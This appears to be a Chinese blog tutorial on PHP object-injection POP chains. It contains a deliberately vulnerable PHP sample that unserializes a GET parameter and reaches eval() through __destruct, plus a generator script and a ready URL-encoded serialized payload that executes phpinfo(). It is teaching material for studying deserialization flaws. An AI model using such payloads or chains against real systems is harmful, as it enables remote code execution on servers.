PHP POP 链
前言: phar反序列化 需要了解这个!
第一个知识点:通过反序列化可以控制类属性,不管是private还是public,但是需要注意的是 只能控制类属性!
如何利用起来第一个知识点?
举个例子:
如下的代码,正常的话,lemon 类只能调用 normal中的action方法,但是如果我们能够进行反序列化的操作,利用起第一个知识点去控制相关eval类中的data属性,然后lemon调用eval类中的action,从而进行恶意操作!
<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello"; } } class evil { private $data; function action() { eval($this->data); //触发点 } } var_dump(unserialize($_GET['d'])); // 入口点
将序列化好的数据O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
放到上方参数d接收的位置,从而进行 反序列化POP链利用!
<?php class lemon { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } function __destruct() { $this->ClassObj->action(); } } class evil { private $data="phpinfo();"; function action() { eval($this->data); } } var_dump(urlencode(serialize(new lemon()))); //这里正常来说可以不需要url编码,但是当前被序列化的对象中的属性有个是protected,展现的时候就是空字节,所以需要编码%00进行http传输 // O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
常见的魔术方法的利用:
当对象被创建的时候调用: __construct 当对象被销毁的时候调用: __destruct 当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发): __toString 序列化对象之前就调用此方法(其返回需要是一个数组): __sleep 反序列化恢复对象之前就调用此方法: __wakeup 当调用对象中不存在的方法会自动调用此方法 __call
参考文章:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
标签:
php
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY